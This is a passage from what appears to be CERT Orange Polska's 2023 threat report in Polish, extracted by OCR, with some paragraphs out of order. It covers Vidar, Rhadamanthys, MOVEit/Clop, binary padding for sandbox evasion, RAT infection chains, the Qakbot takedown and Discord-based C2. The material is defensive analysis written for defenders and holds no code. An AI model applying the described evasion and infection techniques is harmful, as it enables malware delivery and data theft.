Orange. Jego twoércom nie udato sie jednak przywréci¢ biznesu
do poziomu w jakim funkcjonowat on przed pierwszym
zamknieciem. W 2023 obserwowalismy Emoteta w kampanii
podszy¢ z wykorzystaniem dokumentéw OneNote, jednak skala
ataku, jak i brak wykorzystywanych do uwiarygodnienia
phishingu wykradzionych konwersacji pocztowych
zdecydowanie wptyneta na skutecznos¢ infekciji rejestrowanych
na CyberTarczy. Operacje przeprowadzone w marcu okazaty

sie ostatnig zarejestrowang przez nas aktywnoscig tego
oprogramowania w catym roku. Chociaz nie mozna
jednoznacznie stwierdzi¢, czy Emotet nie powréci, obecnie
wydaje sie, ze jego zamkniecie z 2021 roku z opdznieniem,

ale jednak na dobre zakorczy jego dziatalno$¢. Skutecznosé
wyfgczenia Emoteta byta prawdopodobnie wynikiem tarcia,
jakie wywotat on wsrdd operatorow malware, co potgczone

z innymi czynnikami, doprowadzito do jego ostatecznego upadku.

W miejsce Emoteta w czotéwce zagrozen znalazt sie za to
rosyjski stelaer — Vidar. Vidar to ztosliwe oprogramowanie, ktére
po raz pierwszy pojawito sie pod koniec 2018 roku. Podczas
poczatkowej inspekcii zidentyfikowana prébka przypominata
budowa Arkei stealera, jednak dalsze analizy badaczy
bezpieczenstwa wykazaty réznice zarébwno w kodzie prébki,
jak i komunikacji z C2. Sama nazwa Vidar wywodzi sie

z ciggu znakéw umieszczonych w kodzie ztosliwego
oprogramowania, a nawigzuje do nordyckiego boga

zemsty - Vidarra. W obserwowanych przez CERT Orange
Polska kampaniach Vidar aktywnie wykorzystywat platforme
Telegram i Steam do przechowywania adresacji serweréw
zarzgdzania (C2). Adresacja byta przechowywana w nazwie
utworzonych profiléw. W momencie uruchomienia ztosliwej
prébki na staciji, Vidar wysyta zadanie GET do serwerdw
Telegrama lub Steama w celu pozyskania adresacji serwerow
C2. W dalszej kolejnosci nastepuje komunikacja z serwerem
zarzgdzania w celu odebrania instrukcji, pobranie i uruchomienie
narzedzi do kradziezy danych z zainfekowanego urzadzenia
oraz zarchiwizowanie ich, zakodowanie i odestanie na inny
serwer obstugujacy eksfiltracje. Co znamienne, wiekszos$¢
profili Steam uzytych do infekcji w pierwszej potowie 2023
roku jest nadal aktywnych w czasie pisania tego artykutu.

Czerwiec przyniost takze rozpoczecie szeroko zakrojonej
kampanii ransomware, ktéra dotkneta organizacje na catym
Swiecie. W maju 2023 roku firma Progress Software Corporation
ujawnita podatnos$¢ Zero Day w oprogramowaniu do
udostepniania plikow MOVEit Transfer i MOVEit Cloud
(CVE-2023-34362), ktéra poprzez wykorzystanie atakdéw SQL
Injection umozliwiata pozyskanie nieautoryzowanego dostepu
do srodowiska podatnej aplikacji. Jezyk programowania SQL
jest uzywany do zarzadzania bazami danych. Podatno$¢ SQL
Injection to luka bezpieczenstwa w aplikacji webowej, ktora
umozliwia atakujgcemu manipulowanie bazg danych aplikacji
poprzez wstrzykiwanie ztosliwych instrukcji SQL. Wstawiajac
ztosliwy kod SQL do pdl wejsciowych dostarczonych przez
uzytkownika, takich jak formularze czy parametry URL, atakujacy
moze zmodyfikowac¢ zamierzone zachowanie zapytania SQL.
Pomimo ze aktualizacje tatajgce luke w zabezpieczeniach
zostaty wydane w przeciggu 48 godzin, cyberprzestepcy
zwigzani z rosyjska grupa ransomware Clop (TA505) wykorzystali
podatnos¢ i przeprowadzili kolejny skuteczny atak na tancuch
dostaw, kompromitujgcych takich klientow MOVEit jak BBC,
Birtish Airways, Sony czy PWC. Wedle statystyk z poczatku
stycznia 2024, w wycieku pozyskano dane 83 milionéw osdb.
Jesli pomnozy¢ to przez $rednig cene za pojedynczy rekord

podawang przez IBM, to szacowane straty finansowe wynosza
blisko 14 miliardéw dolaréw. Ze wzgledu na skale incydentu,

a takze fakt, ze gtobwnym celem ataku staty sie instytucje i firmy
operujace w USA i Kanadzie, Departament Stanu USA wyznaczyt
nagrode w wysokosci 10 milionéw USD za jakiekolwiek pomocne
informacje prowadzgce do ujecia i osgdzenia stojgcych

za atakiem sprawcow.

Atak MOVEit moze rowniez wskazywac na nowy trend

na scenie operatorow ransomware, poniewaz ClOp zaczat
publikowaé pochodzace z wyciekow dane w publicznie
dostepnym internecie, a nie jak miato to miejsce wczesniej
w Darkwebie.

Te sama decyzje juz w czerwcu 2023 roku podjeli operatorzy
ransomware ALPHV (rowniez znanej jako BlackCat) co moze
wskazywac, ze tego rodzaju praktyki stang sie coraz bardziej
powszechne. Opublikowane w ten sposéb dane, jako ze
publicznie dostepne sa bardziej widoczne, naktadajg dodatkowg
presje na ofiare, od ktérej zadany jest okup. Exploit MOVEit
dowodzi, ze 2023 rok jest kolejnym istotnym rokiem dla rynku
operatordéw ransomware. Prominentne grupy, takie jak Clop,

nie przeprowadzajg atakéw z myslg o infekcji pojedynczego celu,
ale zamiast tego sprawiajg, ze ich operacje sg bardziej wydajne,
wykorzystujac ataki na tancuchy dostaw oprogramowania
szeroko stosowanego w $rodowiskach profesjonalnych.

Oznacza to, ze przestepcy moga skompromitowa¢ dziesiatki
lub setki r6znych podmiotéw w jednym ataku, co dodatkowo
podkresla jak wazna dla firm i przedsiebiorstw powinna by¢
poprawna implementacja wielowarstwowej strategii

bezpieczenstwa, obejmujaca procesy priorytetowego fatania
podatnosci, reagowania na incydenty i monitorowania
systemow krytycznych.

Jednym z najbardziej interesujgcych zagrozen w sieci Orange,
ktdre zadebiutowaty w roku 2023 byto oprogramowanie

o trudnej do wymowienia nazwie: Rhadamanthys.
Rhadmanthys (ktérego nazwa pochodzi od herosa mitologii
greckiej) to stosunkowo nowy typ stealera, ktéry nadal sie rozwija
i zyskuje popularnosé. Pierwsze wzmianki o nowym oferowanym
na czarnym rynku programie pojawity sie we wrzesniu 2022 roku.
Rhadmanthys natychmiast przyciagnat uwage zaréwno kupuja-
cych, jak i badaczy bezpieczenstwa ze wzgledu na swéj bardzo
rozbudowany zestaw funkcji i starannie przygotowany,
wieloetapowy projekt. Rozwdj tego ztosliwego oprogramowania
jest szybki i stale postepowat na przestrzeni catego 2023 roku,

a aktualizacje sa publikowane na dedykowanych forum w Dark-
Webie. Lista funkcji Rhadamanthys obejmuje kradziez informac;ji
o systemie ofiary, takich jak nazwa komputera, nazwa uzytkow-
nika, pojemnos$¢ RAM, liczba rdzeni CPU, rozdzielczo$¢ ekranu,
strefa czasowa, geolokalizacja, $rodowisko, zainstalowane
oprogramowanie, zrzuty ekranu, ciasteczka, historia, autouzu-
petnianie, zapisane karty kredytowe, pobrane pliki, ulubione i
rozszerzenia. Rhadmanthys kradnie dane uwierzytelniajace z
klientow FTP (Cyberduck, FTP Navigator, FTPRush, FlashFXP,
Smartftp, TotalCommander, Winscp, Ws_ftp i Coreftp) oraz

z klientéw poczty (CheckMail, Clawsmail, GmailNotifierPro,
Mailbird, Outlook, PostboxApp, Thebat!, Thunderbird, TrulyMail,
eM i Foxmalil), a takze dane uwierzytelniajgce z aplikacji 2FA

i menedzerow haset (RoboForm, RinAuth, Authy i KeePass;
Ustugi VPN, w tym AzrieVPN, NordVPN, OpenVPN,
PrivateVPN_Global_AB, ProtonVPN i WindscribeVPN),

aplikacje do robienia notatek (NoteFly, Notezilla, Simple
StickNotes i Windows Sticky Notes) oraz historie wiadomosci
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z komunikatoréw, takich jak Psi+, Pidgin, tox, Discord

i Telegram, jak rowniez dane uwierzytelniajgce do aplikacji
Steam, TeamViewer i SecureCRT. Autor potozyt szczegdiny
nacisk na funkcje zwigzane z kradziezg kryptowalut, w jednej
z aktualizacji, ktéra wprowadzita 9 nowych funkciji, 4 z nich
byly ulepszeniami dotyczacymi eksfiltracji i tamania portfeli
kryptowalutowych. Lista obstugiwanych portfeli w wers;ji
poczatkowej jest naprawde pokazna i obejmuje ponad

20 rodzajéw portfeli. Oprécz bogatego zestawu funkcji
wykradania poswiadczen, Rhadamanthys posiada kilka
pomystéw na zamaskowanie, ktére sg do$¢ specyficzne.
Podczas gdy poczatkowy loader to typowy plik wykonywalny,

Binary padding, czyli prosta technika
pozwalajaca na oszukanie kazdego
sandboxa

Ztosliwe oprogramowanie charakteryzuje sie tym, ze jest

z reguty mate rozmiarowo, a czynnosci, ktore taki kod moze
wykonac mieszcza sie bez problemu w rozmiarze nie
przekraczajacym kilku kilobajtow. Niewielki rozmiar wynika
wiec z samej struktury ztosliwego oprogramowania, ktora

w przeciwienstwie do instalatoréw gier nie zawierata w sobie
dodatkowych bibliotek, obrazow czy danych. Czasy sie jednak
zmieniaja, dostep do internetu jest bardziej powszechny

od kablowki, a nawet telefony mobilne potrafia poszczycic

sie wieksza wydajnoscia od przyzwoitych laptopow z czasow
gdy publikowaliSmy swadj pierwszy raport. Operatorzy
malware-u tez maja tego $wiadomosc, co obserwowaliSmy

na przestrzeni roku w atakach przy uzyciu techniki okreslanej
w matrycy MITRE jako Binary Padding (T1027). Binary Padding
to proces dodawania dodatkowych, niepotrzebnych danych
do pliku wykonywalnego, ktére cho¢ nie zmieniaja jego
zachowania, pozwalajg modyfikowa¢ istotne cechy
charakterystyczne pliku i bezposrednio wptywaja na obnizenie
skutecznosci jego wykrywania narzedziami bezpieczenstwa.
Technika ataku nie jest nowa i wielokrotnie byta juz
obserwowana w atakach na klientow sieci Orange, jednakze
w biezacym roku, odnotowaliSmy niemalze trzykrotny

wzrost przypadkow jej wykorzystania.

Binary Padding wykorzysta¢ mozna do trzech
gtownych celow:

m  Przekroczenie limitow na rozmiary plikow poddawane
analizie przez srodowiska badajace ztosliwe opro-
gramowanie.

Zarowno narzedzia do dynamicznej analizy plikow
(Sandbox), jak i wiekszos¢ silnikow antywirusowych
oferujacych analize statyczna ma limity rozmiaru plikow,
ktore poddaja analizie. Gorne limity potrafia byc rozne.
W niektorych przypadkach zaczynaja sie juz na 15MB,

a przewaznie nie przekraczaja 100MB. Wprowadzone
przez dostawcow narzedzi bezpieczenstwa limity
zwigzane s3 z koniecznoscia zachowania wiasciwej
wydajnosci swoich narzedzi, a ich zniesienie naktada na
nich dodatkowe koszty, niewspotmiernie wyzsze niz te,
ktore ponosza operatorzy ztosliwego oprogramowania
nadmuchujac pliki poza limit.

Modyfikacji sumy kontrolnej dla unikniecia wykrycia
opartego na sygnaturach.

Wiekszos$¢ narzedzi bezpieczenstwa ma mechanizmy
wykrywania oparte na sygnaturach znanych ztosliwych
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kazdy dodatkowy modut jest uruchamiany w ulotnej pamieci
operacyjnej urzadzenia ofiary bez koniecznosci ich trwatego
zapisywania na dysku. Biorgc pod uwage, jak szybko
Rhadamanthys jest aktualizowany, jasne jest, ze mamy do czynienia
z profesjonalnie dziatajgcym podmiotem, ktéry nieustannie
ewoluuje, ulepsza produkt oraz wdraza nowe techniki omijania
zabezpieczen, stale $wiadczac przy tym wsparcie dla swoich
klientow. | cho¢ poziom aktywnosci Rhadmanthysa identyfikowany
w sieci Orange to jeszcze nie ta sama skala, ktdrg prezentujg

od lat aktywne na rynku stealery to wiele wskazuje na to,

ze produkt w roku 2024 bedzie rozwijat sie dalej, a z nim takze
liczba przeprowadzanych atakéw, réwniez na rynek w Polsce.

aplikacji, dlatego zmiana nawet jednego bitu w kodzie
ztosliwego pliku w efekcie dyfuzji, zwroci inny wynik sumy
kontrolnej, niezgodny z istniejaca sygnatura.
Zaciemnienia kodu i ukrycia jego wartosciowych sekgc;ji

w plataninie martwych funkcji, losowych ciagow znakow
lub zwyklego tekstu. Taka czynnos$é utrudnia analize
kodu, a dodatkowo potrafi obciaza¢ dekompilatory
uzywane przez badaczy bezpieczenstwa w ramach
inzynierii wsteczne;j.

Powyzsze zastosowania oprocz ewidentnych zalet, maja tez
swoje ograniczenia. Przekraczanie rozmiaru plikow jest
niezwykle skuteczne, ale nie sposdb dostarczy¢ plik 200MB

do uzytkownika koncowego w postaci zatacznika pocztowego.

Dodatkowo, sam jego rozmiar ogranicza w pewien sposob
zakres aplikacji, pod ktore moze nastapi¢ podszycie. Wszak

trudno byltoby uzasadnié, ze pojedyncza faktura lub zamoéwienie

przekracza rozmiar kilku megabajtow. Analiza sygnaturowa,
choé nadal wykorzystywana w wiekszosci przypadkow

nie jest jedyna forma detekcji, co czyni modyfikacje sumy
kontrolnej nieefektywne. Zaciemnianie kodu i wypetnianie
go losowymi znakami, cho¢ moze utrudnic¢ i op6znié¢
przeprowadzenie skutecznej analizy, nie gwarantuje
powodzenia w diuzszej perspektywie czasu. Poza tym jest
na tyle charakterystyczne, ze samo moze by¢ uzyte jako
wskaznik do automatycznego rozpoznawania potencjalnie
podejrzanego kodu. Co zatem sprawito, ze cyberprzestepcy
coraz siegaja do tej metody? W 2023 roku, w kampaniach
Quakbota, Emoteta czy Agenta Tesli zidentyfikowali$my
ciekawy mechanizm wykorzystania Binary Padding w sposob,
ktory eliminuje ograniczenia wynikajace z braku mozliwosci
dostarczenia duzego pliku bezposrednio do uzytkownika
koncowego. Technika zaktada wykorzystanie algorytmow
kompresiji w taki sposob, aby stworzone ztosliwe
oprogramowanie osiagato rozmiar przekraczajacy 600MB,
ale po spakowaniu do archiwum ZIP jego rozmiar

nie przekraczat kilku MB. Jak to osiagnieto? Format plikow
ZIP uzywa kompresji Deflate obejmujacej kodowanie LZ77

i kodowanie Huffmana. Kompresja Deflate bardzo dobrze
dziata na powtarzajacych sie bajtach, a czym nizsza entropia
(a wiec miara tego jak bardzo losowe sa dane w pliku)

tym bardziej skuteczna bedzie kompresja. W przypadku
wspomnianych probek, przekraczajac nawet 99,5%.

Binary Padding moze by¢ prosta, skuteczna i nie wymagajaca

metoda obejscia zabezpieczen w arsenale cyberprzestepcow, :

a wykorzystanie jej w tandemie z kompresja bedzie coraz
powszechniejsze tak diugo, jak automatyczne systemy
detekcji beda dawaly sie w ten sposob ominac.

Najczesciej wystepujace zdarzenia w 2Q 2023 roku

zaobserwowane w sieci Orange Polska

Trzeci kwartat to czas wakacji, stad charakteryzuje sie zwykle
znacznym spadkiem zagrozen w stosunku do pozostatych.
Rok 2023 rowniez pod tym wzgledem okazat sie
bezprecedensowy, jako ze spadek aktywnosci ztosliwego
oprogramowania kwartat do kwartatu okazat sie praktycznie
niezauwazalny (niespetna 2% roznica). Mozemy mie¢ zresztg
do czynienia z pewnym odwracajgcym sie trendem

w operacjach cyberprzestepcéw. Okres wakacyjny to doskonata
okazja do przeprowadzania préb niezauwazonego przetamania
zabezpieczen atakowanych firm. Z powodu mniej licznego
personelu zdolnego do monitorowania zagrozen, a takze
reagowania i przeciwdziatania incydentom, ryzyko
przeoczenia ataku znacznie sie zwieksza, podobnie jak
trudno$¢ w utrzymaniu koncentracji im bardziej atrakcyjna
pogoda za oknem. Stealery w dalszym ciggu stanowity ponad
potowe wszystkich zarejestrowanych zdarzen, ale zauwazalny
wzrost odnotowali$my w przypadku zdarzen z uzyciem
oprogramowania z kategorii RAT (Remote Access Trojan)

o ponad 40% w stosunku do kwartatu poprzedniego.

Do najbardziej aktywnych w 3 kwartale 2023 zaliczy¢

mozna njRAT, AsyncRAT i NetSupportRAT.

njRAT (aka Bladabindi) to ztosliwe oprogramowanie aktywne
od 2012 roku. Pomimo uptywu czasu njRAT jest regularnie
jednym z najbardziej popularnych zagrozen w swojej kategorii,
a tworcy regularnie aktualizujg jego funkcjonalnosci
dostosowuijac sie do trendéw panujgcych w cyberprzestrzeni.
njRAT rozprzestrzenia sie najczesciej w wiadomosciach

email lub jest dostarczany na urzadzenia koncowe za pomoca
packerow i dropperéw. W sieci Orange identyfikowalismy
takze przypadki podszy¢ pod fatszywe instalatory
oprogramowania z wykorzystaniem technik SEO Poisoning.
Gtéwna funkcjonalnoscig njRAT jest oczywiscie zapewnienie
zdalnego dostepu. Ztosliwe oprogramowanie jest w stanie
wykonywac zdalnie polecenia powershell, wysyta¢ i pobierac
pliki, przechwytywac zrzuty ekranu i klawiszy, a nawet
uzyskiwac dostep do kamery/mikrofonu. Istnieje rowniez
funkcjonalno$¢ odpowiadajgca za wykradanie informaciji

IOT.Mirai
RedLine.Stealer
Agent Tesla.RAT
Formbook.Stealer
B Quakbot.Botnet
Snake.Keylogger
Lokibot.Stealer
Vidar.Stealer
B Remcos.RAT
Inne

- njRAT moze pozyskiwa¢ dane logowania z przegladarek
internetowych i aplikacji do kryptowalut. Dodatkowo
potrafi sie rozprzestrzeniaé, zarazajac podtgczone

do zainfekowanego komputera nosniki USB.

AsyncRAT jest zdecydowanie mtodszym produktem,
datowanym na 2019 rok, kiedy to zostat opublikowany

na GitHubie na licencji open source. Od tego czasu wielu
aktorow zagrozen i operatorow malware dotgczyto go

do swoich narzedzi infekcji i uruchamianych kampanii.

W obserwowanym kwartale, ofiary otrzymywaty e-mail
zawierajgcy osadzony link. Po kliknieciu w hipertacze zostat
pobrany ztosliwy plik HTML, co wywotato sekwencje zdarzen
(uruchomienie pliku vbs lub skryptu shellowego), dzieki

ktérej atakujgcy mogt ukryé sie w zaufanych aplikacjach
systemowych, aby unikngé wykrycia. AsyncRAT wykorzystywat
tez zatgczniki OneNote’a do zatadowania pliku .HTA, ktérego
zadaniem byto pobranie i uruchomienie zaciemnionego skryptu
bat inicjujgcego powershellowy tancuch infekcji obejmujacy
akcje dekodowania, deszyfracji, dekompresji i wstrzykniecia
ztosliwego fadunku w nowo utworzony proces w pamieci
systemu ofiary.

W przeciwienstwie do backdordéw i trojanéw zdalnego
dostepu (Remote Access Trojans), ktére opierajg sie gtownie
na wierszach polecen, narzedzia do zdalnej kontroli (Remote
Administration Tools) ktadg nacisk na przyjaznos¢ dla
uzytkownika, oferujac rozbudowane interfejsy graficzne,

znane réwniez jako srodowiska GUI. Nawet jesli nie zostaty
one opracowane jako narzedzia hakerskie w dalszym ciggu
moga by¢ uzyte w atakach przez cyberprzestepcéw. Jednym
z najczesciej naduzywanych narzedzi tego typu jest
NetSupportRAT. Jest on rozprowadzany za posrednictwem
wiadomosci e-mail podszywajacych sie pod faktury,
dokumenty przesytkowe i zamowienia. Dodatkowo w drugiej
potowie roku doszto do przypadku, w ktorym uzytkownicy
zostali sktonieni do zainstalowania ztosliwego oprogramowania
z wiasnej woli, odwiedzajgc strone phishingowa podszywajaca
sie pod falszywe aktualizacje przegladarki Chrome. Kampania
wykorzystywata przejete witryny webowe do wyswietlenia
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uzytkownikowi komunikatu o koniecznosci aktualizacji
przegladarki. Do przejetych przez przestepcoéw witryn doklejana
jest jednolinijkowa formuta HTML uruchamiajgca JavaScript

z zewnetrznego serwera, ktéry przekierowuje ruch uzytkownika
na podstawiong strone phishingowa z komunikatem

o aktualizacji przegladarki i linkiem do pobrania pliku.

Ten sam mechanizm ataku byt réwniez uzywany w opisywanych
w poprzednim raporcie kampaniach SocGholish, gdzie réwniez
prowadzit do instalacji NetSupport RAT. R6znice stanowity
uzyte w tancuchu infekgji techniki i narzedzia. SocGholish
uzywat komendy PowerShell z funkcja WMI do pobierania

i instalowania RAT, podczas gdy biezace kampanie
NetSupportRAT opieraty sie na plikach .BAT, skrypcie

VB i poleceniu Curl (dostepnego w systemach Windows

od 2017 roku) zamiast popularnych, a przez to bardziej
aktywnie monitorowanych skryptow PowerShell do pobierania
wiasciwego ztosliwego kodu. Sprawcy atakéw stale aktualizujg
swoje TTP (taktyki, techniki i procedury), aby unikna¢ wykrycia.
Uzywaja narzedzi dostepnych w srodowisku atakowanego
celu, aby unikna¢ niepotrzebnego pobierania i tworzenia
niestandardowych komponentéw mogacych zaalarmowaé
systemy zabezpieczen. Uzywajg rowniez zaciemnienia sktadni
komend i skryptéw, co stanowi wyzwanie dla statycznych
systeméw detekcii.

W poprzednich kwartatach, opisatem juz Agenta Tesla

i RedLine Stealera. Ostatnim dopetniajacym wielkg tréjke
malware’éw najczesciej atakujgcych uzytkownikow
indywidualnych jest FormBook. FormBook ma cechy

bardzo podobne do dwdch poprzednich rodzin, ale znany

jest ze swoich technik wykradania danych bezposrednio

z formularzy HTML na stronach internetowych, rejestrowania
wcisnie¢ klawiatury, funkcji autouzupetniania przegladarki

i schowka. Na poczatku 2020 roku Formbook zostat
przemianowany na Xloader, a sprawcy przeniesli sie

do modelu biznesowego malware-as-a-service (MaaS),
wynajmujac klientom infrastrukture C2 opartg na subskrypcji.
Zaréwno jego atrakcyjna cena, jak i przyjazny dla operatora
kofAcowego model sprzedazy niewymagajacy zaawansowanej
wiedzy technicznej do uruchomienia ataku sprawiaja,

ze Formbook od lat nalezy do Scistej czotowki ztosliwego
oprogramowania wymierzonego w uzytkownikow internetu,
a nie firmy i przedsiebiorstwa. Xloader stosuje rozne metody
zaciemnienia i kilka warstw szyfrowania, aby chroni¢ krytyczne
czesci kodu i danych przed analiza. Podstawowe algorytmy
wspétdzielone miedzy réznymi wersjami Xloadera to:

= Wiasny RC4: algorytm bazujacy na RC4 z dwiema
dodatkowymi warstwami opartymi na operacjach
odejmowania.

= Wiasny algorytm deszyfrowania bufora: niestandardowy
algorytm uzywany przez Xloader, stuzacy do deszyfrowania
pierwszej warstwy szyfrowania blokéw danych PUSHEBP.

m  Wiasny SHA1: obliczany jest skrot SHA1, a wynik
jest odwracany DWORD po DWORD.

Pomimo ze kampanii przygotowanych pod polski rynek,
odnotowali$my mniej niz w roku ubiegtym, Formbook utrzymat
sie wérdd czotowych zagrozen, nawet mimo stosowania mniej
wyszukanych podszy¢ pod generyczne zamdwienia, faktury

i powiadomienia o przesytkach kurierskich.

25 sierpnia, badacze bezpieczenstwa wykryli

aktywnos$¢ nowego kodu powtoki inicjowang przez botnet
Quakbot na zainfekowane urzadzeniach. Shellcode ten
rozpakowuje niestandardowag biblioteke DLL (dynamic
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link library), ktéra zawiera kod zdolny do czystego zakonczenia
dziatania malware-u w $rodowisku ofiary. Proces deinstalaciji
polega na wysytaniu instrukcji QPCMD_BOT_SHUTDOWN

za posrednictwem nazwanego potoku (Named Pipe), ktérego
Qakbot uzywa do przesytania i odbierania komunikatow miedzy
procesami w przejetym systemie. Nazwy potokéw Quakbot

sg generowane za pomocga algorytmu pseudolosowego,

ktory biblioteka DLL wykorzystuje do wygenerowania wiasciwej
nazwy dla systemu, na ktérym dziata. Nastepnie biblioteka
DLL wywotuje funkcje CallNamedPipeA i wysyta instrukcje
QPCMD_BOT_SHUTDOWN. W momencie, gdy Qakbot
wykryje, ze uzytkownik inicjuje operacje wytaczenia systemu
operacyjnego, oprogramowanie dokleja sie do klucza rejestru
Run, odpowiedzialnego za uruchamianie aplikacji podczas
rozruchu systemu. Uzycie nazwanego potoku (Named Pipe)

do zakonczenia procesu Qakbot pozwala na ominiecie

tej metody persystencji w rezultacie czego Qakbot nie wigczy
sie po ponownym uruchomieniu urzgdzenia. Powyzsza operacja
zostata nazwana polowaniem na kaczki ,Operation Duck
Hunt”. W ramach ,,Operation Duck Hunt” FBI przejeto kontrole
nad botnetem, deaktywowato cze$¢ back-endowych serwerdw
zarzadzania (C2) oraz usuneto ztosliwe oprogramowanie

z zainfekowanych urzadzen. Poskutkowato to natychmiastowym
zatamaniem sie sieci QakBota i jego infrastruktury, a liczba
aktywnych potgczen z zainfekowanych urzadzen spadta nawet
do 10% wartosci sprzed rozpoczecia operacji. Lyzka dziegciu
do niezaprzeczalnego sukcesu pozostaje fakt, ze grupa
(TA577) powigzana z Quakbotem ptynnie przerzucita sie

na inne narzedzia (np. DarkGate i Pikabot) w swoich atakach
phishingowych. Dla botnetéw takich jak QakBot i Emotet,
wytgczenia infrastruktury na szeroka skale wyraznie przynosza
znaczacy wpltyw przynajmniej na poziomie taktycznym,

jako ze operacje na narzedziu zostajg utrudnione praktycznie
w momencie ataku. Nawet pomimo licznych powrotow

i préb odbudowania Botnetu, na przyktadzie Emoteta mozna
zauwazy¢, ze tempo i skala kazdej kolejnej operacji maleje,

co moze przetozy¢ sie na trwate wykluczenie danej rodziny
malware’u i wymuszenie zmian w modelu biznesowym
przyjetym przez stosujgcych takie narzedzia przestepcow.

Aby jednak takie operacje mogty by¢ skuteczne, zakiocenia
dziatania infrastruktury muszg by¢ kontynuowane regularnie,

a badacze i dostawcy ustug bezpieczerstwa musza
wspotpracowac ze soba nie tylko w ramach namierzania
$ladoéw botnetu, ale i zwalczania popularnych metod
pozyskania dostepu (Initial Access) jak byto w przypadku
Microsoftu i znaku MarkofTheWeb.

W sierpniu 2023 r. zespét CERT Orange Polska zidentyfikowat
niewielka kampanie dystrybuowang przez mailowy phishing,
ktéra wykorzystywata steganografie i dwuetapowy skrypt
Powershell do przesytania Agenta Tesla. W procesie Threat
Huntingu ustalilismy, ze korncowym ztosliwym oprogramowaniem
bywaty tez RAT-y — Asyncrat, LimeRAT, njRAT czy Remcos.
Elastycznosé¢, tatwos¢ uzycia i natura Powershell jako

natywego narzedzia systemu Windows czynig go powszechnym
narzedziem stosowanym zwtaszcza na etapie pozyskania
pierwotnego dostepu (Initial Access) do maszyny ofiary.

Atak rozpoczyna sie od wystania wiadomosci phishingowe;j

z zatgczonym plikiem Excel (.xls, .xIsx, .xla lub .xlam).
Odnotowali$my tez przypadki uzycia spakowanego w archiwum
skryptu VBS. Poprzez wykorzystanie znanej podatnosci

w Edytorze Réwnan (CVE-2017-11882) interakcja z przyciskiem
edycji dokumentu wywotuje pobranie $ciezek osadzonych
obiektéw Ole, ktore sg nastepnie uruchamiane. To prowadzi

do zainicjowania potaczenia do zewnetrznego webserwisu,

z ktérego pobierany i wywotywany jest ztosliwy plik VBS.

Zawarto$¢ VBS zawiera zaciemniony skrypt Powershell,

co utrudnia silnikom bezpieczenstwa przeprowadzenie analizy
pliku, nieopartej na sygnaturowej detekcji. Po uruchomieniu
przechodzi przez proces deszyfrowania tacuchdéw znakdéw

w pamieci, uruchamiajgc drugi skrypt Powershell, do ktérego
przekazywana jest juz zdekodowana zawarto$¢ wywotania.

W pierwszej kolejnosci skrypt pobiera niewinnie wygladajacy
obraz JPG z brazylijskiego legalnego serwisu do importowania
grafiki (uploaddeimagens[.Jcom[.]br). Nastepnie przystepuje do
wyodrebnienia z autentycznego obrazka, zakodowanego pliku
.DLL osadzonego w jego tresci. Do identyfikacji sekcji znakéw
odpowiadajgcych za zawarto$¢ .DLL wykorzystywane sg stringi
<<BASE64_START>> oraz <<BASE64_END>>, ktére petnig
role cudzystowu, okreslajgc poczatek i koniec pozadanej sekciji
informaciji. W dalszym etapie Powershell dekoduje kod Base64

i uruchamia go w assemblerze. Nastepnie skrypt wywotuje
zawartg w DLL metode ,VAI” z typu ,Fiber.Home”, z argumentami
w postaci URL zapisanego w formacie odwréconego ciggu
znakéw. Metoda ,,VAI” odwraca URL i pobiera go z uzyciem
funkcji DownloadString. Pobrany z zewnetrznego serwera plik .txt
to kolejny zakodowany cigg znakéw w odwrdconej kolejnosci.
Metoda najpierw przeprowadza operacje odwrocenia znakéw
(funkcja Reverse), a potem je konwertuje (funkcja Convert.From-
Base64String). Odkodowana zawartos$¢ z wtasciwym malwarem
jest na koniec wstrzykiwana przy uzyciu WinAPI do procesu
systemowego RegAsm (technika Process Hollowing).
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Potaczenie powyzszych technik w taicuchu dostawy
Ztosliwego oprogramowania podkresla coraz wieksze
zaawansowanie i dywersyfikacje wspotczesnych operatoréw,
wymuszajgc na firmach i badaczach koniecznos$¢ ciggtej
ewaluacji wtasnych systeméw zabezpieczen.

W okresie wakacyjnym zesp6t CERT Orange Polska
obserwowat rowniez wzmozong aktywnosc¢ ztosliwego
oprogramowania napisanego w jezyku Python, a dostepnego
w internecie m.in. na platformie GitHub. Operatorzy malware
coraz czesciej wykorzystuja bezptatne wersje ztosliwego
oprogramowania jako szablonu do przygotowywania atakéw.
Takie podejscie pozwala im dostosowaé i wdrozy¢ malware
z wiekszg efektywnoscig i bez ponoszenia dodatkowych
kosztéw. Rownolegle wprowadzana jest zmiana taktyk
stosowanych do eksfiltracji danych przy wykorzystaniu
popularnych platform komunikacyjnych, jak Discord i Telegram.

Discord to bardzo popularna ustuga komunikacyjna online
(podobna do Slacka, ale mniej formalna), ktéra ma ponad

300 miliondw aktywnych uzytkownikdw. Poczatkowo Discord
miat by¢ platforma dla spotecznosci graczy, jednak tatwos$¢
jego uzycia i funkcje sprawity, ze stat sie narzedziem atrakcyjnym
dla catego mainstreamu. Wliczajgc w to cyberprzestepcéw.

programowania w przestrzeni klienckiej Orange Polska m ‘

Discord, ze wzgledu na tatwe w uzyciu i dobrze
udokumentowane interfejsy API, jest chetnie wykorzystywany
przez programistow do integracji narzedzi i tworzenia botéw
na swoich serwerach. Aktorzy zagrozen znalezli sposoby

na naduzywanie tych funkcji, co utatwia propagowanie ztosliwego
oprogramowania, utrudniajgc jednoczesnie jego wykrycie

lub skuteczne zablokowanie. Dlaczego Discord stat si¢ jednym
z najpopularniejszych legalnych kanatéw wykorzystywanych
przez cyberprzestepcdw do komunikacji ze ztosliwym
oprogramowaniem? Skrécona odpowiedzZ brzmi: ze wzgledu
na prostote i wygode kilku funkcji:

= CDN - sie¢ dostarczania tresci to po prostu ustuga hostingu
plikdw, ktéra zapewnia wysoka dostepnosé i czas dziatania.
Operatorzy ztosliwego oprogramowania wykorzystuja
te funkcje do przechowywania tadunkdw, ktére ich
narzedzia moga pobraé i uruchomié. Hostowanie
na popularnej ustudze i zabezpieczanie protokotem HTTPS
utrudnia, a czasem uniemozliwia proces identyfikaciji plikéw
ztosliwych od niegroznych.

= API - interfejs API Discord zapewnia tatwg komunikacje
miedzy uzytkownikami na platformie a programem, ktory
korzysta z API, umozliwiajac wysytanie i odbieranie wiado-
mosci oraz plikdw. W rezultacie implementacja komunikaciji
typu Command&Control (C2) za posrednictwem API
sprowadza sie do napisania prostego skryptu sktadajgcego
sie z 16 linii kodu, ktéry wykonuje kazdg wystang wiadomos¢
i zwraca wynik. Trudno monitorowac i blokowac tego
rodzaju komunikacje C2, poniewaz malware komunikuje sie
z ustuga, ktora jest wykorzystywana przez miliony odbiorcéw.
